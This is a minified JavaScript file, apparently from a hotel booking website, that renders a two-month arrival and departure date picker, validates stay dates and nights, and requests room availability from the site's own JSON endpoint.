var cal_json_callback=function(t,_2){
var _3=$H(_2);
evt_getModel().calendar.bookedDays=_3;
cal_renderCalendar(evt_getModel().calendar.arrival,evt_getModel().calendar.departure,evt_getModel().calendar.comb_displayDate);
};
var cal_json_before=function(t,_5){
};
var cal_json_after=function(t,_7){
};
function cal_onLoad(){
var n=date.getMonth();
var _9;
var _a=date.getFullYear();
var _b="";
var _c="<option value=\"0\">--</option>";
for(var i=n;i<24+n;i++){
_9=i%12;
_b=_b+"<option value=\""+_a+"-";
if(_9<9){
_b=_b+"0"+(_9+1);
}else{
_b=_b+(_9+1);
}
_b=_b+"\">"+evt_getModel().monthNames[_9]+" "+_a+"</option>";
if(i%12==11){
_a=_a+1;
}
}
_b=_b+"</select>";
for(var i=1;i<=31;i++){
_c+="<option value=\""+i+"\">"+i+"</option>";
}
_c+="</select>";
if(evt_getModel().showNoNightsDropDown){
var _e=$("lengthOfStaySelect").className;
var _f="<option value=\"0\">--</option>";
for(var i=1;i<=evt_getModel().maxNoNights;i++){
_f+="<option value=\""+i+"\">"+i+"</option>";
}
$("lengthOfStaySelect").replace("<select id=\"lengthOfStaySelect\" class=\""+_e+"\" onchange=\"cal_changeNoNights();\">"+_f);
}
var _10=$("arrivalDateSelect").className;
var _11=$("departureDateSelect").className;
var _12=$("arrivalDateField").className;
var _13=$("departureDateField").className;
$("arrivalDateSelect").replace("<select id=\"arrivalDateSelect\" class=\""+_10+"\" onchange=\"cal_selectArrivalFieldKeyPress(event,arrivalDateField);\">"+_b);
$("arrivalDateField").replace("<select id=\"arrivalDateField\" class=\""+_12+"\" name=\"arrivalDateField\" onchange=\"cal_selectArrivalFieldKeyPress(event,this);\">"+_c);
$("departureDateSelect").replace("<select id=\"departureDateSelect\" class=\""+_11+"\" onchange=\"cal_selectDepartureFieldKeyPress(event,departureDateField);\">"+_b);
$("departureDateField").replace("<select id=\"departureDateField\" class=\""+_13+"\" name=\"departureDateField\" onchange=\"cal_selectDepartureFieldKeyPress(event,this);\">"+_c);
if(evt_getModel().defaultDates){
setDefaultDates();
}
setDefaultDatesFromForm();
}
function setDefaultDatesFromForm(){
if(evt_getModel().calArrivalDateField!=""&&evt_getModel().calDepartureDateField!=""){
arrivalDate=Date.parseString(evt_getModel().calArrivalDateFieldInDefault,DateFormatDefault);
departDate=Date.parseString(evt_getModel().calDepartureDateFieldInDefault,DateFormatDefault);
}
evt_getModel().calendar.arrival=arrivalDate;
evt_getModel().calendar.departure=departDate;
cal_writeArivalDepartureDate(arrivalDate,departDate);
cal_changeDeparture($("calDepartureDateField"));
cal_changeArrival($("calArrivalDateField"));
}
function setDefaultDates(){
var _14;
var _15;
if(evt_getModel().defaultDatesWeekday){
var _16=mapDaysToNumbers(evt_getModel().defaultArriveWeekday);
var _17=evt_getModel().defaultDepart;
var _18=new Date().getDay();
var _19=0;
if(_16>=_18){
_19=_16-_18;
}else{
_19=7-(_18-_16);
}
var _1a=_19+evt_getModel().defaultDepart;
_14=new Date().add("d",_19);
departDate=new Date().add("d",_1a);
}else{
_14=new Date().add("d",evt_getModel().defaultArrive);
departDate=new Date().add("d",evt_getModel().defaultDepart);
}
evt_getModel().calendar.arrival=_14;
evt_getModel().calendar.departure=departDate;
cal_writeArivalDepartureDate(_14,departDate);
cal_changeDeparture($("calDepartureDateField"));
cal_changeArrival($("calArrivalDateField"));
}
function cal_onPropertyDeselected(){
var _1b=$("cal_preview_button");
if(_1b!=null&&_1b.visible()){
_1b.hide();
$("advice_rate_restrictions").hide();
evt_getModel().calendar.bookedDays=null;
cal_renderCalendar(evt_getModel().calendar.arrival,evt_getModel().calendar.departure,evt_getModel().calendar.comb_displayDate);
if(evt_getModel().calendarExplenationVisible){
$("calendar_explanation").style.display="none";
}
}
evt_getModel().calendar.showAvailability=false;
}
function cal_onPropertySelected(_1c){
var _1d=$("cal_preview_button");
var _1e=$("calendar_explanation");
try{
if(_1c.size()==1){
if(_1d!=null&&!_1d.visible()){
_1d.show();
}
}else{
_1d.hide();
$("advice_rate_restrictions").hide();
if(_1e!=null&&_1e.visible()){
_1e.hide();
}
}
}
catch(e){
_1d.show();
}
if(evt_getModel().calendar.showAvailability==true&&_1c.size()==1){
cal_getAvail();
}else{
evt_getModel().calendar.bookedDays=null;
cal_renderCalendar(evt_getModel().calendar.arrival,evt_getModel().calendar.departure,evt_getModel().calendar.comb_displayDate);
$("advice_rate_restrictions").hide();
evt_getModel().calendar.showAvailability=false;
}
}
function getNumberOfNights(_1f){
var _20=new Date(getDateFromFormat(_1f,DateFormatDefault));
var _21=_20.getMonth();
var _22=_20.getFullYear();
var _23=_21+1;
var _24=_22;
if(_23==12){
_23=0;
_24=_24+1;
}
var _25=(32-new Date(_22,_21,32).getDate());
var _26=(32-new Date(_24,_23,32).getDate());
var _27=_25+_26;
var _28=_20.getDate()-1;
return (_27-_28);
}
function cal_getAvail(){
var _29=evt_getModel().ccp.selectedProperties[0];
var _2a=_29.substring(0,2);
var _2b=_29.substring(3,_29.length);
var _2c=evt_getModel().calendar.comb_displayDate;
var _2d=new Date();
if(_2d>_2c){
var _2e=_2d.format(DateFormatDefault);
}else{
var _2e=_2c.format(DateFormatDefault);
}
var _2f=evt_getModel().ibfName;
var _30=evt_getModel().rooms.roomCount;
if(evt_getModel().isRooms==null||evt_getModel().isRooms||evt_getModel().maxRoomNumber>1){
var _31=evt_getModel().rooms.type;
}else{
var _31=parseInt($("prs_adultnumber").value)+parseInt($("prs_numchildren_1").value);
}
var h=new Hash();
var _33=getNumberOfNights(_2e);
var _34=new AjaxAdvice(evt_getModel().ibfPrefix+_2f+"/availability.json?chainCode="+_2a+"&propertyCode="+_2b+"&nights="+_33+"&startDate="+_2e+"&roomCount="+_30+"&adultsPerRoom="+_31,h,cal_json_callback,cal_json_before,cal_json_after);
_34.call();
evt_getModel().calendar.showAvailability=true;
$("advice_rate_restrictions").show();
if(evt_getModel().calendarExplenationVisible){
$("calendar_explanation").show();
}
}
function cal_inputArrivalFieldKeyPress(_35,el){
if(cal_isReturnKey(_35)){
if($("arrivalDateField").hasClassName("error_input")){
$("arrivalDateField").toggleClassName("error_input");
}
$("calArrivalDateField").value=$("arrivalDateSelect").value+"-"+el.value;
cal_changeArrival($("calArrivalDateField"));
if($("calArrivalDateField").hasClassName("error_input")){
$("arrivalDateField").toggleClassName("error_input");
}
}
}
function cal_selectArrivalFieldKeyPress(_37,el){
if($("arrivalDateField").hasClassName("error_input")){
$("arrivalDateField").toggleClassName("error_input");
}
$("calArrivalDateField").value=$("arrivalDateSelect").value+"-"+el.value;
cal_changeArrival($("calArrivalDateField"));
if($("calArrivalDateField").hasClassName("error_input")){
$("arrivalDateField").toggleClassName("error_input");
}
}
function cal_inputDepartureFieldKeyPress(_39,el){
if(cal_isReturnKey(_39)){
if($("departureDateField").hasClassName("error_input")){
$("departureDateField").toggleClassName("error_input");
}
$("calDepartureDateField").value=$("departureDateSelect").value+"-"+el.value;
cal_changeDeparture($("calDepartureDateField"));
if($("calDepartureDateField").hasClassName("error_input")){
$("departureDateField").toggleClassName("error_input");
}
}
}
function cal_selectDepartureFieldKeyPress(_3b,el){
if($("departureDateField").hasClassName("error_input")){
$("departureDateField").toggleClassName("error_input");
}
$("calDepartureDateField").value=$("departureDateSelect").value+"-"+el.value;
cal_changeDeparture($("calDepartureDateField"));
if($("calDepartureDateField").hasClassName("error_input")){
$("departureDateField").toggleClassName("error_input");
}
}
function cal_inputArrivalKeyPress(_3d,el){
if(cal_isReturnKey(_3d)){
cal_changeArrival(el);
}
}
function cal_inputDepartureKeyPress(_3f,el){
if(cal_isReturnKey(_3f)){
cal_changeDeparture(el);
}
}
function cal_isReturnKey(_41){
var key;
if(window.event){
key=window.event.keyCode;
}else{
key=_41.which;
}
if(key==13){
return true;
}
return false;
}
function resetErrorRendering(){
if($("arrivalDateSelect").hasClassName("error_select")){
$("arrivalDateSelect").toggleClassName("error_select");
}
if($("spanCalDepartureDateField").hasClassName("error_span")){
$("spanCalDepartureDateField").toggleClassName("error_span");
}
if($("departureDateSelect").hasClassName("error_select")){
$("departureDateSelect").toggleClassName("error_select");
}
if($("departureDateSelect").hasClassName("error_select")){
$("departureDateSelect").toggleClassName("error_select");
}
if($("arrivalDateField").hasClassName("error_select")){
$("arrivalDateField").toggleClassName("error_select");
}
if($("spanCalArrivalDateField").hasClassName("error_span")){
$("spanCalArrivalDateField").toggleClassName("error_span");
}
if($("departureDateField").hasClassName("error_select")){
$("departureDateField").toggleClassName("error_select");
}
if($("spanCalDepartureDateField").hasClassName("error_span")){
$("spanCalDepartureDateField").toggleClassName("error_span");
}
if($("departureDateField").hasClassName("error_select")){
$("departureDateField").toggleClassName("error_select");
}
if(evt_getModel().showNoNightsDropDown){
if($("spanLengthOfStay").hasClassName("error_span")){
$("spanLengthOfStay").toggleClassName("error_span");
}
if($("lengthOfStaySelect").hasClassName("error_select")){
$("lengthOfStaySelect").toggleClassName("error_select");
}
}
}
function cal_hasChanged(){
var _43=evt_getModel().calendar.arrival;
var _44=evt_getModel().calendar.departure;
var _45=Number(parseFloat((_44-_43)/3600000/24).toFixed());
if(_45>0){
if(evt_getModel().showNoNightsDropDown){
var _46=document.getElementById("lengthOfStaySelect");
if(_46.options.length>_45){
_46.selectedIndex=_45;
}
}else{
$("lenthOfStay").innerHTML="&nbsp;"+_45;
}
}else{
if(!evt_getModel().showNoNightsDropDown){
$("lenthOfStay").replace("<span id=\"lenthOfStay\">&nbsp;- </span>");
}
}
if(_43!=null&&_44!=null&&cal_isParseableDate(_43)&&cal_isParseableDate(_44)){
cal_writeArivalDepartureDate(evt_getModel().calendar.arrival,evt_getModel().calendar.departure);
resetErrorRendering();
}
if(evt_getModel().calendar.arrival&&evt_getModel().calendar.arrival!="0"){
var _47=evt_getModel().calendar.arrival.getMonth()-evt_getModel().calendar.comb_displayDate.getMonth();
var _48=evt_getModel().calendar.arrival.getFullYear()-evt_getModel().calendar.comb_displayDate.getFullYear();
if(_48==0&&_47==0||_47==1){
var _49=true;
}else{
var _4a=new Date(evt_getModel().calendar.arrival.getFullYear(),evt_getModel().calendar.arrival.getMonth(),1);
var _49=false;
}
}else{
if(evt_getModel().calendar.arrival=="0"){
$("arrivalDateSelect").options[0].selected=true;
for(i=1;i<$("arrivalDateSelect").length;i++){
if($("arrivalDateSelect").options[i].selected==true){
$("arrivalDateSelect").options[i].selected=false;
}
}
$("arrivalDateField").options[0].selected=true;
for(i=1;i<$("arrivalDateField").length;i++){
if($("arrivalDateField").options[i].selected==true){
$("arrivalDateField").options[i].selected=false;
}
}
}
}
if(evt_getModel().calendar.departure&&evt_getModel().calendar.departure!="0"){
var _4b=evt_getModel().calendar.departure.getMonth()-evt_getModel().calendar.comb_displayDate.getMonth();
var _4c=evt_getModel().calendar.departure.getFullYear()-evt_getModel().calendar.comb_displayDate.getFullYear();
if(_4c==0&&_4b==0||_4b==1){
var _4d=true;
}else{
var _4e=new Date(evt_getModel().calendar.departure.getFullYear(),evt_getModel().calendar.departure.getMonth(),1);
var _4d=false;
}
}else{
if(evt_getModel().calendar.departure=="0"){
$("departureDateSelect").options[0].selected=true;
for(i=1;i<$("departureDateSelect").length;i++){
if($("departureDateSelect").options[i].selected==true){
$("departureDateSelect").options[i].selected=false;
}
}
$("departureDateField").options[0].selected=true;
for(i=1;i<$("departureDateField").length;i++){
if($("departureDateField").options[i].selected==true){
$("departureDateField").options[i].selected=false;
}
}
}
}
if(_49==true||_4d==true){
}else{
if(_4a){
var _4f=new Date(evt_getModel().calendar.arrival.getFullYear(),evt_getModel().calendar.arrival.getMonth(),1);
}else{
if(_4e){
var _4f=new Date(evt_getModel().calendar.departure.getFullYear(),evt_getModel().calendar.departure.getMonth(),1);
}
}
}
if(_4f){
evt_getModel().calendar.comb_displayDate=_4f;
if(evt_getModel().calendar.showAvailability==true){
cal_getAvail();
}
}
cal_renderCalendar(evt_getModel().calendar.arrival,evt_getModel().calendar.departure,evt_getModel().calendar.comb_displayDate);
if(evt_getModel().calendar.arrival==null&&evt_getModel().calendar.departure==null){
$("cal_resetButton").hide();
}else{
$("cal_resetButton").show();
}
daysOfMonth($("departureDateSelect"));
daysOfMonth($("arrivalDateSelect"));
}
function cal_renderCalendar(_50,_51,_52){
var _53=new Date();
if(_50=="0"){
_50=null;
}
if(_51=="0"){
_51=null;
}
cal_renderCalendarMonth("cal_1",_52);
cal_renderCalendarDays("cal_1",_50,_51,_52,0,0,0);
var tmp=new Date(_52.getFullYear(),_52.getMonth()+1,1,0,0,0);
cal_renderCalendarMonth("cal_2",tmp);
cal_renderCalendarDays("cal_2",_50,_51,tmp);
}
function cal_writeArivalDepartureDate(_55,_56){
var _57;
var _58;
var _59;
if(_55!=null&&_55!="0"){
_57=_55.format(DateFormatDefault);
$("calArrivalDateField").value=_57;
$("arrivalDateField").value=_55.getDate();
var _5a=_57.substring(0,7);
for(i=0;i<$("arrivalDateSelect").length;i++){
if($("arrivalDateSelect").options[i].value==_5a){
$("arrivalDateSelect").options[i].selected=true;
break;
}
}
}else{
$("calArrivalDateField").value="";
}
if(_56!=null&&_56!="0"){
_58=_56.format(DateFormatDefault);
$("calDepartureDateField").value=_58;
if($("departureDateField")!=null){
$("departureDateField").value=_56.getDate();
}
var _5a=_58.substring(0,7);
for(i=0;i<$("departureDateSelect").length;i++){
if($("departureDateSelect").options[i].value==_5a){
$("departureDateSelect").options[i].selected=true;
break;
}
}
}else{
_59=new Date();
_59.setDate(_59.getDate()+1);
_59=cal_convertDate(_59);
$("calDepartureDateField").value="";
}
}
function cal_convertDate(_5b){
return _5b.format(DateFormat);
}
function cal_renderCalendarMonth(id,_5d){
var _5e=new Date();
var _5f=$(id+"Month");
var _60=$(id+"Arrow");
var _61;
var _62;
var _63=new Date();
_63.setTime(_5e.getTime()+(720*86400000));
_5e=new Date(_5e.getFullYear(),_5e.getMonth(),_5e.getDate());
_62=cal_months[_5d.getMonth()]+" "+_5d.getFullYear();
if(id=="cal_1"){
if(_5d.getMonth()>_5e.getMonth()||_5d.getFullYear()>_5e.getFullYear()){
_60.style.visibility="visible";
}else{
_60.style.visibility="hidden";
}
_5f.firstChild.nodeValue=_62;
}
if(id=="cal_2"){
if(_5d.getMonth()>=(_63.getMonth())&&_5d.getFullYear()>=_63.getFullYear()){
_60.style.visibility="hidden";
}else{
_60.style.visibility="visible";
}
_5f.firstChild.nodeValue=_62;
}
}
function cal_renderCalendarDays(id,_65,_66,_67){
if(_65=="0"){
return;
}
var _68=new Date();
var _69=new Date(0,0,0);
var _6a=new Date(_68.getFullYear(),_68.getMonth(),_68.getDate(),0,0,0);
var _6b=new Date(_67.getFullYear(),_67.getMonth(),1,0,0,0);
var _6c=_6b.getDay()-1;
var _6d=new Date();
_6d.setTime(_6a.getTime()+(720*86400000));
if(_65==null){
_65=new Date(0,0,0);
}
if(_66==null){
_66=new Date(0,0,0);
}
if(_6c==-1){
_6c=6;
}
for(i=0;i<42;i++){
var _6e=$(id+"Cell"+i);
var div=_6e.parentNode;
if(_6b.getMonth()==_67.getMonth()&&i>=_6c){
if(_6b.getTime()==_65.getTime()||_6b.getTime()==_66.getTime()){
_6e.className="cal_arrival_departure_day cal_day"+cal_isDayBookedStyle(_6b);
div.className="cal_arrival_departure_day cal_day"+cal_isDayBookedStyle(_6b);
}else{
if(_6b.getTime()>_65.getTime()&&_6b.getTime()<_66.getTime()&&_65.getTime()!=_69.getTime()){
_6e.className="cal_booked_day cal_day"+cal_isDayBookedStyle(_6b);
div.className="cal_booked_day cal_day"+cal_isDayBookedStyle(_6b);
}else{
if(_6b.getTime()<_6a.getTime()){
_6e.className="cal_previous_day cal_day"+cal_isDayBookedStyle(_6b);
div.className="cal_previous_day cal_day"+cal_isDayBookedStyle(_6b);
}else{
if(_6d.getTime()<=_6b.getTime()){
_6e.className="cal_previous_day cal_day"+cal_isDayBookedStyle(_6b);
div.className="cal_previous_day cal_day"+cal_isDayBookedStyle(_6b);
}else{
_6e.className="cal_unbooked_day cal_day"+cal_isDayBookedStyle(_6b);
div.className="cal_unbooked_day cal_day"+cal_isDayBookedStyle(_6b);
}
}
}
}
_6e.firstChild.nodeValue=_6b.getDate();
_6b.setDate(_6b.getDate()+1);
}else{
_6e.firstChild.nodeValue="_";
_6e.className="cal_day cal_invalid_day";
div.className="cal_day cal_invalid_day";
}
}
}
function cal_isDayBookedStyle(_70){
var _71=_70.format(DateFormatDefault);
if(evt_getModel().calendar!=null&&evt_getModel().calendar.bookedDays!=null){
var _72=evt_getModel().calendar.bookedDays[_71];
if(_72!=null){
return " booked"+_72;
}else{
return "";
}
}else{
return "";
}
}
function cal_isParseableDate(d){
return !isNaN(d);
}
function cal_convertToDate(d){
var _75=parseInt(d.slice(5,7),10);
var _76=d.slice(0,4);
var _77=d.slice(8,10);
if(_77==0){
_77=1;
}
var _78=null;
if(cal_checkValidDate(_76,_75,_77)){
_78=new Date(_76,_75-1,_77);
}else{
_78=new Date(Number.NaN,Number.NaN,Number.NaN);
}
return _78;
}
function cal_checkValidDate(_79,_7a,day){
if(_7a>12||day>31){
return false;
}
switch(_7a){
case 4:
case 6:
case 9:
case 11:
if(day>30){
return false;
}
break;
case 2:
if(cal_isLeapYear(_79)&&day>29||!cal_isLeapYear(_79)&&day>28){
return false;
}
break;
}
return true;
}
function cal_isLeapYear(_7c){
return new Date(_7c,2-1,29).getDate()==29;
}
function cal_changeNoNights(){
var _7d=$("lengthOfStaySelect");
var _7e=$("calArrivalDateField");
var _7f=$("calDepartureDateField");
var _80=new Date();
var _81=new Date(_80.getFullYear(),_80.getMonth(),_80.getDate());
if(evt_getModel().calendar.arrival=="0"||evt_getModel().calendar.arrival==null){
evt_getModel().calendar.arrival=_81;
}
var _82=evt_getModel().calendar.arrival;
var _83=new Date(_82.getTime()+(86400000*_7d.selectedIndex));
evt_getModel().calendar.departure=_83;
evt_ModelChanged(CALENDAR,null);
}
function cal_changeArrival(el){
var _85=new Date();
var _86=new Date(_85.getFullYear(),_85.getMonth(),_85.getDate());
var _87=new Date(_86.getTime()+86400000);
var _88=new Date(_87.getTime()+86400000);
var _89=$("calDepartureDateField");
var _8a=cal_convertToDate(_89.value);
var _8b=cal_convertToDate(el.value);
var _8c=cal_isParseableDate(_8b);
if(cal_isParseableDate(_8b)){
evt_getModel().calendar.arrival=_8b;
if(evt_getModel().calendar.departure=="0"||evt_getModel().calendar.departure==null){
evt_getModel().calendar.departure=new Date(_8b.getTime()+86400000);
}
evt_ModelChanged(CALENDAR,el);
if(evt_getModel().calendar.departure!=null&&evt_getModel().calendar.departure!="0"){
cal_checkForTooManyNightsArrival(el);
}
if(el.hasClassName("error_input")){
el.toggleClassName("error_input");
}
}else{
if(!el.hasClassName("error_input")){
el.toggleClassName("error_input");
}
}
if(el.value==""&&arrivalUserInput){
if(el.hasClassName("error_input")){
el.toggleClassName("error_input");
}
return;
}else{
if(el.value==""&&!arrivalUserInput){
return;
}
}
if(!cal_isParseableDate(_8b)||_8b.getTime()<_86.getTime()){
if(el.value=="0"){
evt_getModel().calendar.arrival="0";
evt_ModelChanged(CALENDAR,el);
}else{
evt_getModel().calendar.arrival=_87;
if(evt_getModel().calendar.departure.getTime()<_86.getTime()){
evt_getModel().calendar.departure=_88;
}
if(evt_getModel().calendar.departure=="0"||evt_getModel().calendar.departure==null){
evt_getModel().calendar.departure=_88;
}
if(cal_isParseableDate(_8b)){
evt_ModelChanged(CALENDAR,el);
if(evt_getModel().calendar.departure!=null&&evt_getModel().calendar.departure!="0"){
cal_checkForTooManyNightsArrival(el);
}
if(el.hasClassName("error_input")){
el.toggleClassName("error_input");
}
}
}
}
if(evt_getModel().calendar.departure!=null&&evt_getModel().calendar.departure!="0"){
if(_8b.getTime()>=evt_getModel().calendar.departure.getTime()){
evt_getModel().calendar.departure=new Date(_8b.getTime()+86400000);
evt_ModelChanged(CALENDAR,el);
if(el.hasClassName("error_input")){
el.toggleClassName("error_input");
}
}
}
}
function cal_changeDeparture(el){
var _8e=new Date();
var _8f=new Date(_8e.getFullYear(),_8e.getMonth(),_8e.getDate());
var _90=new Date(_8f.getTime()+86400000);
var _91=new Date(_90.getTime()+86400000);
var _92=$("calArrivalDateField");
var _93=cal_convertToDate(_92.value);
var _94=cal_convertToDate(el.value);
var _95=cal_isParseableDate(_94);
if(cal_isParseableDate(_94)){
evt_getModel().calendar.departure=_94;
if(evt_getModel().calendar.arrival=="0"||evt_getModel().calendar.arrival==null){
evt_getModel().calendar.arrival=new Date(_94.getTime()-86400000);
}
evt_ModelChanged(CALENDAR,el);
if(el.hasClassName("error_input")){
el.toggleClassName("error_input");
}
}else{
if(!el.hasClassName("error_input")){
el.toggleClassName("error_input");
}
}
if(el.value==""&&departureUserInput){
evt_getModel().calendar.departure=_91;
return;
}else{
if(el.value==""&&!departureUserInput){
return;
}
}
if(!cal_isParseableDate(_94)||_94.getTime()<_90.getTime()){
if(el.value=="0"){
evt_getModel().calendar.departure="0";
evt_ModelChanged(CALENDAR,el);
}else{
if(cal_isParseableDate(_94)){
evt_getModel().calendar.departure=_91;
evt_getModel().calendar.arrival=_90;
evt_ModelChanged(CALENDAR,el);
if(el.hasClassName("error_input")){
el.toggleClassName("error_input");
}
}
if(evt_getModel().calendar.departure.getTime()<=_94.getTime()){
_94.setTime(_93.getTime()+86400000);
evt_getModel().calendar.departure=_94;
evt_ModelChanged(CALENDAR,el);
if(el.hasClassName("error_input")){
el.toggleClassName("error_input");
}
}
_94=evt_getModel().calendar.departure;
}
}
if(evt_getModel().calendar.arrival!=null&&evt_getModel().calendar.arrival!="0"){
if(_94.getTime()<=evt_getModel().calendar.arrival.getTime()){
evt_getModel().calendar.arrival=new Date(_94.getTime()-86400000);
evt_ModelChanged(CALENDAR,el);
if(el.hasClassName("error_input")){
el.toggleClassName("error_input");
}
}
}
var _96=parseInt((_94-_93)/3600000/24);
if(_96>=300){
alert(evt_getModel().calendarAlertMessage);
var _97=new Date(_93.getTime()+(300*3600000*24));
evt_getModel().calendar.departure=_97;
evt_ModelChanged(CALENDAR,el);
if(el.hasClassName("error_input")){
el.toggleClassName("error_input");
}
}
}
function cal_getSelectedDate(_98,_99){
var _9a;
var _9b;
_9a=_99.firstChild.nodeValue;
if(_98=="cal_1"){
_9b=new Date(evt_getModel().calendar.comb_displayDate.getFullYear(),evt_getModel().calendar.comb_displayDate.getMonth(),_9a);
}else{
if(_98=="cal_2"){
_9b=new Date(evt_getModel().calendar.comb_displayDate.getFullYear(),evt_getModel().calendar.comb_displayDate.getMonth()+1,_9a);
}
}
return _9b;
}
function cal_checkForTooManyNightsArrival(el){
var _9d=parseInt((evt_getModel().calendar.departure.getTime()-evt_getModel().calendar.arrival.getTime())/3600000/24);
if(_9d>=300){
alert(evt_getModel().calendarAlertMessage);
var _9e=new Date(evt_getModel().calendar.departure.getTime()-(300*3600000*24));
evt_getModel().calendar.arrival=_9e;
evt_ModelChanged(CALENDAR,el);
if(el.hasClassName("error_input")){
el.toggleClassName("error_input");
}
}
}
function cal_checkForTooManyNightsDeparture(el){
var _a0=parseInt((evt_getModel().calendar.departure.getTime()-evt_getModel().calendar.arrival.getTime())/3600000/24);
if(_a0>=300){
alert(evt_getModel().calendarAlertMessage);
var _a1=new Date(evt_getModel().calendar.arrival.getTime()+(300*3600000*24));
evt_getModel().calendar.arrival=newArrivalDate;
evt_ModelChanged(CALENDAR,el);
if(el.hasClassName("error_input")){
el.toggleClassName("error_input");
}
}
}
Event.onReady(initArrivalDepartureFields,true);
function buildDate(_a2){
return Date.parseString(_a2,DateFormat);
}
var arrivalUserInput=false;
var departureUserInput=false;
function initArrivalDepartureFields(){
if(evt_getModel().defaultDates&&!evt_getModel().quickbookDates){
setDefaultDates();
}else{
if(evt_getModel().calendar.arrival==null){
evt_getModel().calendar.arrival=buildDate($("calArrivalDateField").value);
}
if(evt_getModel().calendar.departure==null){
evt_getModel().calendar.departure=buildDate($("calDepartureDateField").value);
}
if($("calArrivalDateField").value==""){
$("calArrivalDateField").value=="0";
}
if($("calDepartureDateField").value=""){
$("calDepartureDateField").value="0";
}
var _a3=false;
var _a4=false;
cal_changeDeparture($("calDepartureDateField"));
cal_changeArrival($("calArrivalDateField"));
if($("calArrivalDateField").hasClassName("error_input")){
$("calArrivalDateField").toggleClassName("error_input");
}
if($("calDepartureDateField").hasClassName("error_input")){
$("calDepartureDateField").toggleClassName("error_input");
}
}
}
Event.onReady(cal_onLoad);
Event.onReady(cal_hasChanged);
function cal_ArrowClicked(el){
for(var i=0;;i++){
var _a7=el.up(i);
if(_a7.nodeName=="TABLE"){
if(_a7.id=="cal_1"){
var _a8=evt_getModel().calendar.comb_displayDate.getMonth()-1;
var _a9=evt_getModel().calendar.comb_displayDate.getFullYear();
if(_a8<0){
_a8=11;
_a9--;
}
evt_getModel().calendar.comb_displayDate=new Date(_a9,_a8,1);
}else{
var _a8=evt_getModel().calendar.comb_displayDate.getMonth()+1;
var _a9=evt_getModel().calendar.comb_displayDate.getFullYear();
if(_a8>11){
_a8=0;
_a9++;
}
evt_getModel().calendar.comb_displayDate=new Date(evt_getModel().calendar.comb_displayDate.getFullYear(),evt_getModel().calendar.comb_displayDate.getMonth()+1,1);
}
if(evt_getModel().calendar.showAvailability==true){
cal_getAvail();
}else{
cal_renderCalendar(evt_getModel().calendar.arrival,evt_getModel().calendar.departure,evt_getModel().calendar.comb_displayDate);
}
break;
}
if(_a7.nodeName=="body"){
break;
}
}
}
IsCal_dayClickedFirstTime=true;
function cal_dayClicked(_aa){
if(evt_getModel().defaultDates&&IsCal_dayClickedFirstTime){
evt_getModel().calendar.arrival=null;
evt_getModel().calendar.departure=null;
IsCal_dayClickedFirstTime=false;
}
var el=$(_aa);
var id=el.id.slice(0,10)+"_Month";
var _ad;
var _ae;
if(el.hasClassName("calField")){
el=el.immediateDescendants()[0];
}
if(el.hasClassName("cal_day")&&!el.hasClassName("cal_previous_day")){
if(el.nodeName=="DIV"){
_ad=el.parentNode.parentNode.parentNode.parentNode;
for(var i=0;;i++){
_ae=el.childNodes[i];
if(_ae.nodeName=="SPAN"){
break;
}
}
}
if(el.nodeName=="SPAN"){
_ad=el.parentNode.parentNode.parentNode.parentNode.parentNode;
_ae=el;
}
if((evt_getModel().calendar.arrival!=null&&evt_getModel().calendar.arrival!="0"&&evt_getModel().calendar.arrival!="Invalid Date")||(evt_getModel().calendar.departure!=null&&evt_getModel().calendar.departure!="0"&&evt_getModel().calendar.departure!="Invalid Date")){
if(el.hasClassName("cal_booked_day")){
var _b0=cal_getSelectedDate(_ad.id,_ae);
var _b1=Date.parse(_b0);
var _b2=(Date.parse(evt_getModel().calendar.arrival)+Date.parse(evt_getModel().calendar.departure))/2;
if(_b1<_b2){
evt_getModel().calendar.arrival=_b0;
evt_ModelChanged(CALENDAR,el);
cal_checkForTooManyNightsArrival(el);
}else{
if(_b1>=_b2){
evt_getModel().calendar.departure=_b0;
evt_ModelChanged(CALENDAR,el);
cal_checkForTooManyNightsDeparture(el);
}
}
}else{
if(el.hasClassName("cal_unbooked_day")){
var _b0=cal_getSelectedDate(_ad.id,_ae);
if(_b0<evt_getModel().calendar.arrival){
evt_getModel().calendar.arrival=_b0;
cal_checkForTooManyNightsArrival(el);
}else{
if(_b0>evt_getModel().calendar.departure){
evt_getModel().calendar.departure=_b0;
cal_checkForTooManyNightsDeparture(el);
}
}
evt_ModelChanged(CALENDAR,el);
}else{
if(el.hasClassName("cal_arrival_departure_day")){
}
}
}
}else{
var _b0=cal_getSelectedDate(_ad.id,_ae);
if(_b0!=null&&_b0!="0"&&_b0!="Invalid Date"&&_b0!="NaN"){
evt_getModel().calendar.arrival=_b0;
evt_getModel().calendar.departure=new Date(evt_getModel().calendar.arrival.getFullYear(),evt_getModel().calendar.arrival.getMonth(),evt_getModel().calendar.arrival.getDate()+1,0,0,0);
evt_ModelChanged(CALENDAR,el);
}
}
}
if($("calArrivalDateField").hasClassName("error_input")){
$("calArrivalDateField").toggleClassName("error_input");
}
if($("calDepartureDateField").hasClassName("error_input")){
$("calDepartureDateField").toggleClassName("error_input");
}
}
function cal_ArrivalDateFieldBlured(el){
arrivalUserInput=true;
cal_changeArrival(el);
}
function cal_DepartureDateFieldBlured(el){
departureUserInput=true;
cal_changeDeparture(el);
}
function cal_resetButtonClicked(el){
var _b6=new Date();
$("calArrivalDateField").value="0";
$("calDepartureDateField").value="0";
evt_getModel().calendar.arrival=null;
evt_getModel().calendar.departure=null;
evt_getModel().calendar.comb_displayDate=new Date();
if(evt_getModel().calendar.showAvailability==true){
cal_getAvail();
}
evt_ModelChanged(CALENDAR,el);
cal_changeArrival($("calArrivalDateField"));
cal_changeDeparture($("calDepartureDateField"));
if($("calArrivalDateField").hasClassName("error_input")){
$("calArrivalDateField").toggleClassName("error_input");
}
if($("calDepartureDateField").hasClassName("error_input")){
$("calDepartureDateField").toggleClassName("error_input");
}
if(evt_getModel().showNoNightsDropDown){
var _b7=document.getElementById("lengthOfStaySelect");
_b7.selectedIndex=0;
}
if(evt_getModel().defaultDates){
IsCal_dayClickedFirstTime=true;
setDefaultDates();
}
}
function cal_reset(el){
if(evt_getModel().defaultDates){
IsCal_dayClickedFirstTime=true;
}
var _b9=new Date();
$("calArrivalDateField").value="";
$("calDepartureDateField").value="";
evt_getModel().calendar.arrival=null;
evt_getModel().calendar.departure=null;
evt_getModel().calendar.comb_displayDate=new Date();
if(evt_getModel().calendar.showAvailability==true){
cal_getAvail();
}
if($("calArrivalDateField").hasClassName("error_input")){
$("calArrivalDateField").toggleClassName("error_input");
}
if($("calDepartureDateField").hasClassName("error_input")){
$("calDepartureDateField").toggleClassName("error_input");
}
evt_ModelChanged(CALENDAR,el);
}
